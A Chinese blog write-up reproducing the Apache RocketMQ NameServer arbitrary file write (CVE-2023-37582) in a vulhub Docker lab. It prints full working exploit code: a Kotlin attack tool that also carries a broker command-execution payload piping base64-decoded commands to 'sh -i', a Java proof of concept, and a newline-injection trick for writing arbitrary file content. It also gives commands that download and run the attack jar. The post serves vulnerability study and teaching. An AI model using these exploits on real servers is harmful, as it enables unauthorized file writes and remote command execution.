【vulhub漏洞复现】File Upload -- Apache RocketMQ NameServer 任意文件写入漏洞(CVE-2023-37582)

本文最后更新于 2026年3月16日 晚上

一、漏洞基础信息(核心摘要)

项目
漏洞名称 【RocketMQ NameServer 任意文件写入漏洞】
CVE 编号 【CVE-2023-37582】
漏洞类型 【文件上传】
影响范围(版本) 【RocketMQ < 5.1.1版本】
漏洞危害等级 【高危】
核心利用逻辑 【该漏洞存在于RocketMQ的NameServer组件的配置更新功能中。通过向NameServer发送UPDATE_NAMESRV_CONFIG命令,攻击者可以修改configStorePath配置项及其内容,从而导致任意文件写入】
适用场景 【使用Rocket做消息队列的应用】

二、前提知识

(1)什么是消息队列

消息队列(Message Queue,MQ)是基于消息传递的异步通信中间件,核心作用是让分布式系统中的不同服务 / 组件之间,通过 “发送 - 存储 - 接收” 消息的方式实现解耦、异步通信,同时能应对流量波动、保障消息可靠传递,是分布式架构中解决服务协作问题的核心组件之一。

简单来说,消息队列就像现实中的快递柜:发消息的服务(比如电商的下单服务)是 “寄件人”,把消息(比如下单指令)放到快递柜(队列)里就可以离开,不用等收件人(比如库存服务、支付服务)当场取件;收件人(消费服务)可以在自己空闲时从快递柜取件处理,快递柜还会保障包裹(消息)不会丢失、不会被重复取走。

NameServer (名称服务)

角色:一个轻量级的服务发现与路由中心。
功能:它维护着当前所有活跃的 Broker 集群信息,但自身不存储消息。Producer 和 Consumer 通过访问 NameServer 获取最新的 Broker 路由信息,从而知道该与哪台 Broker 通信。
特点:NameServer 之间无状态,可以任意部署多个节点形成集群,单个节点的宕机不影响整体服务。

Broker (消息代理)

角色:RocketMQ 的核心,负责消息的存储、投递和查询。
功能:接收来自 Producer 的消息,持久化到磁盘,并处理来自 Consumer 的消费请求。
特点:支持主从(Master/Slave)架构实现高可用。消息会先写入 Master,然后同步或异步复制到 Slave,确保 Master 宕机后消息不丢失,并可由 Slave 继续提供服务。

Producer (生产者)

角色:消息的发送方。
功能:从 NameServer 获取 Topic 的路由信息,与目标 Broker 建立连接,并将业务消息发送出去。
特点:支持同步、异步、单向(Oneway)三种发送方式,并支持集群部署。

Consumer (消费者)

角色:消息的接收方。
功能:从 NameServer 获取 Topic 的路由信息,与 Broker 建立连接,拉取并消费消息。
特点:支持集群消费(同一 Consumer Group 内的多个消费者共同消费一个 Topic 的消息,每条消息只被投递给组内一个消费者)和广播消费(消息被投递给所有订阅该 Topic 的消费者)两种模式。

1、消息队列的核心角色

任何消息队列的工作流程,都围绕 4 个核心角色展开,逻辑简单且固定:

  • 生产者(Producer):产生并发送消息的服务 / 应用 / 组件,负责将消息推送到消息队列,发送后无需关注后续处理结果。
  • 消费者(Consumer):从消息队列中获取并处理消息的服务 / 应用 / 组件,可单个或多个消费者同时消费,支持负载均衡。
  • 消息队列(Queue/Topic):存储消息的容器,是生产者和消费者之间的 “中间层”,隔离两者的直接依赖;不同 MQ 的存储载体分 ** 队列(点对点)主题(发布订阅)** 两种核心模式。
  • 消息(Message):生产者和消费者之间传递的核心数据,通常包含消息体(业务数据,如下单的订单号、商品 ID)消息属性(优先级、过期时间、唯一标识等)

2、消息队列的两大核心通信模式

这是 MQ 的基础使用形态,适配不同的业务协作需求:

  1. 点对点模式(P2P)
  • 特点:一个消息只能被一个消费者消费,消息消费后会从队列中删除,即使有多个消费者监听同一队列,也会按规则(如轮询)分配消息,避免重复处理。
  • 适用:一对一的任务分发,比如订单生成后,单个库存服务处理扣减库存。
  1. 发布订阅模式(Pub/Sub)
  • 特点:生产者将消息发送到主题(Topic),所有订阅了该主题的消费者都能收到同一条消息,实现 “一条消息,多端消费”。
  • 适用:一对多的消息同步,比如电商下单后,支付服务、物流服务、短信通知服务都需要获取下单消息,各自处理对应业务。

3、消息队列的典型使用场景

除了电商下单,MQ 在分布式系统中还有大量落地场景,几乎覆盖所有高可用、高并发的业务:

  • 异步任务处理:短信 / 邮件通知、日志处理、数据统计分析;
  • 流量削峰:秒杀、抢购、电商大促、春运抢票等突发高流量场景;
  • 跨系统通信:微服务之间、异构系统(如 Java 和 Python 服务)之间的异步数据同步;
  • 日志收集:将各个服务的日志以消息形式发送到 MQ,由日志分析服务统一消费、存储、分析(如 ELK 架构结合 Kafka);
  • 分布式事务:结合本地消息表,实现分布式系统中的最终一致性(如 Seata 的 AT 模式、RocketMQ 的事务消息);
  • 事件驱动架构:以 “事件(消息)” 为核心,实现服务的动态协作,比如商品价格变更后,推送给购物车、商品推荐、促销服务

4、主流的消息队列产品及特点

市面上的 MQ 产品各有侧重,适配不同的业务场景和技术架构,核心主流产品对比如下:

产品 核心特点 适用场景 缺点
RabbitMQ 基于 Erlang 开发,轻量、易部署,支持多种协议(AMQP),路由规则丰富,生态完善 中小型系统、轻量异步场景、企业级应用 高吞吐场景下性能一般
Kafka 基于 Scala/Java 开发,高吞吐、低延迟,持久化能力强,适合大数据场景 日志收集、流处理、高吞吐削峰、大数据 功能相对简单,事务支持弱
RocketMQ 阿里开源,基于 Java 开发,高可用、高吞吐,事务消息、顺序消息支持完善,金融级可靠性 分布式微服务、电商、金融、大促场景 生态比 RabbitMQ/Kafka 弱
ActiveMQ 老牌 MQ,基于 Java 开发,支持多种协议,易上手 传统项目、中小型异步场景 高并发下性能瓶颈明显,逐渐被替代

(2)什么是Apache RocketMQ

Apache RocketMQ 是一款低延迟、高并发、高可用、高可靠的分布式消息与流处理平台。它诞生于阿里巴巴,经历了“双十一”等海量业务场景的严苛考验,尤其在电商、金融、物联网等领域表现出色。其设计目标是处理万亿级别的消息,并提供丰富的特性以满足各种复杂的业务需求。

官方网站: https://rocketmq.apache.org/
GitHub: https://github.com/apache/rocketmq

使用RocketMQ的JAVA简单实例:

  1. 环境准备

首先,你需要一个运行中的 RocketMQ 服务。可以参考官方文档下载并启动 NameServer 和 Broker。

2.添加 Maven 依赖

在你的 Java 项目中引入客户端依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-client</artifactId>
<version>5.1.0</version> <!-- 使用一个较新的稳定版本 -->
</dependency>
  1. 编写生产者 (Producer)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.rocketmq.client.producer.DefaultMQProducer;
import org.apache.rocketmq.client.producer.SendResult;
import org.apache.rocketmq.common.message.Message;
import java.nio.charset.StandardCharsets;

public class SimpleProducer {
public static void main(String[] args) throws Exception {
// 1. 创建一个生产者,并指定生产者组名
DefaultMQProducer producer = new DefaultMQProducer("my-producer-group");
// 2. 指定 NameServer 地址
producer.setNamesrvAddr("localhost:9876");
// 3. 启动生产者
producer.start();
// 4. 创建消息
String topic = "MyTestTopic";
String tags = "TagA";
String content = "Hello, RocketMQ!";
Message msg = new Message(topic, tags, content.getBytes(StandardCharsets.UTF_8));

// 5. 发送消息(同步)
SendResult sendResult = producer.send(msg);
System.out.printf("Message Sent: %s%n", sendResult);

// 6. 关闭生产者
producer.shutdown();
}
}
  1. 编写消费者 (Consumer)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;
import org.apache.rocketmq.client.consumer.listener.ConsumeConcurrentlyStatus;
import org.apache.rocketmq.client.consumer.listener.MessageListenerConcurrently;
import org.apache.rocketmq.common.message.MessageExt;

public class SimpleConsumer {
public static void main(String[] args) throws Exception {
// 1. 创建一个消费者,并指定消费者组名
DefaultMQPushConsumer consumer = new DefaultMQPushConsumer("my-consumer-group");
// 2. 指定 NameServer 地址
consumer.setNamesrvAddr("localhost:9876");
// 3. 订阅一个或多个 Topic,以及 Tag 来过滤需要消费的消息
consumer.subscribe("MyTestTopic", "*"); // "*" 表示订阅所有 Tag

// 4. 注册回调函数,处理消息
consumer.registerMessageListener((MessageListenerConcurrently) (msgs, context) -> {
for (MessageExt msg : msgs) {
System.out.printf("Received Message: %s %s %s %n",
msg.getMsgId(),
new String(msg.getBody()),
Thread.currentThread().getName());
}
// 标记消息消费成功
return ConsumeConcurrentlyStatus.CONSUME_SUCCESS;
});

// 5. 启动消费者
consumer.start();
System.out.printf("Consumer Started.%n");

}
}

三、靶机环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali💋kali)-[~/vulhub/rocketmq/CVE-2023-37582]
└─$ cat docker-compose.yml
services:
namesrv: #服务器名称
image: vulhub/rocketmq:5.1.0
ports:
- 9876:9876
- 5005:5005
command: ["mqnamesrv"]
broker: #消息代理
image: vulhub/rocketmq:5.1.0
ports:
- 10911:10911
command: ["mqbroker", "-n", "namesrv:9876", "--enable-proxy"]

四、使用工具

rocketmq-attack A tool for testing RocketMQ vulnerabilities.

工具源码:(kotlin写的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package org.vulhub

import com.github.ajalt.clikt.core.CliktCommand
import com.github.ajalt.clikt.core.subcommands
import com.github.ajalt.clikt.parameters.options.default
import com.github.ajalt.clikt.parameters.options.option
import com.github.ajalt.clikt.parameters.options.required
import com.github.ajalt.clikt.parameters.options.help
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt
import java.net.InetAddress
import java.util.Base64
import java.util.Properties
import java.util.ArrayList

class RocketMQAttack : CliktCommand(
name = "rocketmq-attack",
help = "A tool for executing commands on RocketMQ brokers and nameservers"
) {
override fun run() = Unit
}

abstract class BaseAttackCommand(
name: String,
help: String
) : CliktCommand(name = name, help = help) {
protected fun getCmd(cmd: String): String {
val cmdBase = Base64.getEncoder().encodeToString(cmd.toByteArray())
return "-c \$@|sh . echo echo \"$cmdBase\"|base64 -d|sh -i;"
}
}

class AttackBroker : BaseAttackCommand(
name = "AttackBroker",
help = "Execute commands on RocketMQ broker (CVE-2023-33246)"
) {
private val target by option("-t", "--target")
.help("Target address (host:port)")
.required()

private val cmd by option("-c", "--cmd")
.help("Command to execute")
.required()

override fun run() {
echo("Executing command $cmd on broker $target")
val admin = DefaultMQAdminExt()
try {
admin.start()
val props = Properties().apply {
setProperty("rocketmqHome", getCmd(cmd))
setProperty("filterServerNums", "1")
}

admin.updateBrokerConfig(target, props)
val brokerConfig = admin.getBrokerConfig(target)
echo("Command executed successfully")
echo("rocketmqHome: ${brokerConfig.getProperty("rocketmqHome")}")
echo("filterServerNums: ${brokerConfig.getProperty("filterServerNums")}")
} catch (e: Exception) {
echo("Error: ${e.message}", err = true)
System.exit(1)
} finally {
admin.shutdown()
}
}
}

class AttackNamesrv : BaseAttackCommand(
name = "AttackNamesrv",
help = "Write arbitrary file to RocketMQ nameserver (CVE-2023-37582)"
) {
private val target by option("-t", "--target")
.help("Target address (host:port)")
.required()

private val file by option("-f", "--file")
.help("Target file path to write")
.required()

private val data by option("-d", "--data")
.help("Content to write into the file")
.required()

override fun run() {
echo("Attack name server $target")
echo("Will write content to file: $file")
val admin = DefaultMQAdminExt()
try {
admin.start()
val props = Properties().apply {
setProperty("configStorePath", file)
setProperty("productEnvName", "center\\n$data")
}

admin.updateNameServerConfig(props, arrayOf(target).toList())
} finally {
admin.shutdown()
}
}
}

fun main(args: Array<String>) = RocketMQAttack()
.subcommands(AttackBroker(), AttackNamesrv())
.main(args)

五、漏洞复现

使用这个工具来复现漏洞并写入任意文件:

1
2
wget https://github.com/vulhub/rocketmq-attack/releases/download/1.1/rocketmq-attack-1.1-SNAPSHOT.jar
java -jar rocketmq-attack-1.1-SNAPSHOT.jar AttackNamesrv --target localhost:9876 --file "/tmp/success" --data "111111"

执行完成后,可以验证文件是否写入成功:

1
2
sudo docker-compose exec namesrv bash #进入docker启动的服务器目录
cat /tmp/success

成功写入

六、漏洞再分析

1.源码分析

可以看到官方对于ApacheRocketMQ的修复,但没有修复完全,仍旧存在漏洞

下载源码

https://github.com/apache/rocketmq.git

打开源码的namesrv/src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

旧版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// 处理"修改NameServer配置"请求的核心方法
public RemotingCommand updateConfig(ChannelHandlerContext ctx, RemotingCommand request) {
final RemotingCommand response = RemotingCommand.createResponseCommand(null);
// 1. 解析攻击者发送的配置修改参数(比如改configStorePath、写恶意内容)
final Map<String, String> requestBody = decodeRequestBody(request);

// ========== 漏洞点1:敏感参数过滤不完整(最核心) ==========
// 修复旧漏洞(CVE-2023-33246)时,只禁止修改kvConfigPath/configStorePathName,
// 但漏了真正关键的configStorePath!攻击者仍能改这个参数!
if (requestBody.containsKey("kvConfigPath") || requestBody.containsKey("configStorePathName")) {
response.setCode(ResponseCode.PARAMETER_ERROR);
response.setRemark("Forbidden to modify sensitive config");
return response;
}

// ========== 漏洞点2:完全无权限校验 ==========
// 整个方法没有任何"验证请求者身份"的逻辑,只要能连到NameServer的9876端口,
// 任何人都能调用这个方法修改配置(相当于物业登记处大门敞着,谁都能提交申请单)
// 【这里没有任何鉴权代码】

// ========== 漏洞点3:直接修改configStorePath,无任何限制 ==========
// 遍历攻击者提交的所有参数,直接写入NameServer的配置中
for (Map.Entry<String, String> entry : requestBody.entrySet()) {
final String key = entry.getKey();
final String value = entry.getValue();

// 如果攻击者传了"configStorePath"参数,直接修改配置文件的存储路径!
if ("configStorePath".equals(key)) {
// 致命操作:把配置文件路径改成攻击者指定的任意路径(比如/tmp/恶意脚本.sh)
this.namesrvConfig.setStorePathConfig(value);
} else {
// 其他配置的修改逻辑(攻击者可在这里传恶意内容)
this.namesrvConfig.putConfig(key, value);
}
}

// ========== 漏洞点4:修改后自动持久化(写入文件) ==========
// persist()方法会把当前所有配置(含攻击者的恶意内容),写入到configStorePath指定的路径中
// 如果路径不存在,会自动创建文件;如果存在,会覆盖原有内容!
this.namesrvConfig.persist();

// 返回"修改成功"
response.setCode(ResponseCode.SUCCESS);
response.setRemark(null);
return response;
}

补充:persist()方法的核心逻辑(为什么能写入文件)

namesrvConfig.persist()是实现 “任意文件写入” 的最后一步,它的核心源码更简单,就是把配置内容写入指定路径:

1
2
3
4
5
6
7
8
9
10
11
12
// NamesrvConfig类的persist()方法(配置持久化)
public void persist() throws IOException {
// 1. 把所有配置(含攻击者的恶意内容)转换成字符串
String content = this.encode(true);
// 2. 获取攻击者修改后的configStorePath路径(比如/tmp/malicious.sh)
File file = new File(this.storePathConfig);
// 3. 把内容写入文件(不存在则创建,存在则覆盖)
try (FileOutputStream fos = new FileOutputStream(file);
OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8)) {
osw.write(content); // 真正的"写文件"操作!
}
}

新版本:(截取部分代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
 protected Set<String> configBlackList = new HashSet<>();

public DefaultRequestProcessor(NamesrvController namesrvController) {
this.namesrvController = namesrvController;
initConfigBlackList();
}

//初始化黑名单
private void initConfigBlackList() {
configBlackList.add("configBlackList");
configBlackList.add("configStorePath");
configBlackList.add("kvConfigPath");
configBlackList.add("rocketmqHome");
String[] configArray = namesrvController.getNamesrvConfig().getConfigBlackList().split(";");
configBlackList.addAll(Arrays.asList(configArray));
}

private RemotingCommand updateConfig(ChannelHandlerContext ctx, RemotingCommand request) {
if (ctx != null) {
log.info("updateConfig called by {}", RemotingHelper.parseChannelRemoteAddr(ctx.channel()));
}

final RemotingCommand response = RemotingCommand.createResponseCommand(null);

byte[] body = request.getBody();
if (body != null) {
String bodyStr;
try {
bodyStr = new String(body, MixAll.DEFAULT_CHARSET);
} catch (UnsupportedEncodingException e) {
log.error("updateConfig byte array to string error: ", e);
response.setCode(ResponseCode.SYSTEM_ERROR);
response.setRemark("UnsupportedEncodingException " + e);
return response;
}

Properties properties = MixAll.string2Properties(bodyStr);
if (properties == null) {
log.error("updateConfig MixAll.string2Properties error {}", bodyStr);
response.setCode(ResponseCode.SYSTEM_ERROR);
response.setRemark("string2Properties error");
return response;
}
//这里的validateBlackListConfigExist()方法是用来检测黑名单里字符,也就是过滤
if (validateBlackListConfigExist(properties)) {
response.setCode(ResponseCode.NO_PERMISSION);
response.setRemark("Can not update config in black list.");
return response;
}

this.namesrvController.getConfiguration().update(properties);
}

response.setCode(ResponseCode.SUCCESS);
response.setRemark(null);
return response;
}

private boolean validateBlackListConfigExist(Properties properties) {
for (String blackConfig : configBlackList) {
//将黑名单里的参数与用户传入的一一比对
if (properties.containsKey(blackConfig)) {
return true;
}
}
return false;
}

可以看出旧版本和新版本的核心区别在于对非法参数的过滤,新版本不仅对信息进行了过滤,还对方法进行了重构,让对RocketMQ的设置更安全

2.核心攻击流程分析

1
2
3
4
5
6
7
A[TCP连接建立:攻击者连接9876端口] --> B[Netty接收数据:NameServer的NettyRemotingServer监听端口]
B --> C[协议解码:RemotingCommand.decode()解析二进制包为RemotingCommand对象]
C --> D[请求分发:NettyRemotingServer.processRequest()根据请求码路由]
D --> E[请求码匹配:判断请求码=103(UPDATE_NAMESRV_CONFIG)]
E --> F[处理器路由:交给DefaultRequestProcessor处理]
F --> G[核心方法执行:调用DefaultRequestProcessor.updateConfig()]
G --> H[参数处理:修改configStorePath+持久化写文件]

3.模拟请求

Java 版 POC(基于 RocketMQ 官方客户端)

POC仓库:https://gitee.com/aichihongshubaside_xiaolu/POC-CVE-2023-37582-JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>RocketMQ-attack</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>4.9.0</version> <!-- 任意版本都可,仅用于发送请求 -->
</dependency>
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-client</artifactId>
<version>4.9.0</version>
</dependency>
</dependencies>
<!--为了直接找到主类,可以直接使用java -jar-->
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.5.5</version>
<configuration>
<archive>
<manifest>
<mainClass>org.example.Main</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</plugin>
</plugins>
</build>
</project>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.ArrayList;
import java.util.List;
import java.util.Properties;

public class Main {
public static void main(String[] args) {
// 校验参数
if (args.length < 3) {
System.out.println("用法:");
System.out.println(" java RocketMQPOC <目标NameServer地址> <写入文件路径> <测试内容>");
System.out.println(" 示例:java RocketMQPOC 192.168.1.100:9876 /tmp/test_mq_poc.txt poc_test=success");
return;
}

String namesrvAddr = args[0]; // 目标地址,如192.168.1.100:9876
String writePath = args[1]; // 要写入的文件路径
String content = args[2]; // 测试内容

DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr(namesrvAddr);

try {
// 启动客户端
admin.start();
System.out.println("[+] 已连接到NameServer:" + namesrvAddr);

Properties config = new Properties();
config.setProperty("configStorePath",writePath);
config.setProperty("productEnvName", "center\\n" + content);
List<String> namesrvAddList = new ArrayList<>();
namesrvAddList.add(namesrvAddr);

// 发送UPDATE_NAMESRV_CONFIG请求
admin.updateNameServerConfig(config, namesrvAddList);

System.out.println("[+] 请求发送成功!参数:" + config);
System.out.println("[!] 请登录目标服务器检查文件:" + writePath);
} catch (Exception e) {
System.out.println("[-] 发送失败:" + e.getMessage());
// 若报错包含"Can not update config in black list",说明目标已修复
if (e.getMessage().contains("black list")) {
System.out.println("[!] 目标版本已修复漏洞(黑名单拦截)");
}
} finally {
// 关闭客户端
admin.shutdown();
}
}
}
1
java -jar RocketMQ-attack-1.0-SNAPSHOT-jar-with-dependencies.jar localhost:9876 /tmp/testn.txt 111122233

注:为什么在传productEnvName时要传center\\n + centent?

举个例子:

如果 contentecho 'malicious code' > /tmp/evil.sh,那么最终写入文件的内容会是:

1
2
productEnvName=center
echo 'malicious code' > /tmp/evil.sh

这样,你的恶意内容就不再是 productEnvName 的值,而是变成了文件中独立的一行,从而实现了任意文件内容写入。这是一种注入换行符的技巧,用来突破配置项的 key=value 格式限制,让攻击者可以写入任意内容(比如恶意脚本、配置文件等),而不是仅仅修改一个配置项的值。


【vulhub漏洞复现】File Upload -- Apache RocketMQ NameServer 任意文件写入漏洞(CVE-2023-37582)
http://www.ybyb.org.cn/2026/01/31/【vulhub漏洞复现】File-Upload-Apache-RocketMQ-NameServer-任意文件写入漏洞(CVE-2023-37582)/
作者
LHN
发布于
2026年1月31日
许可协议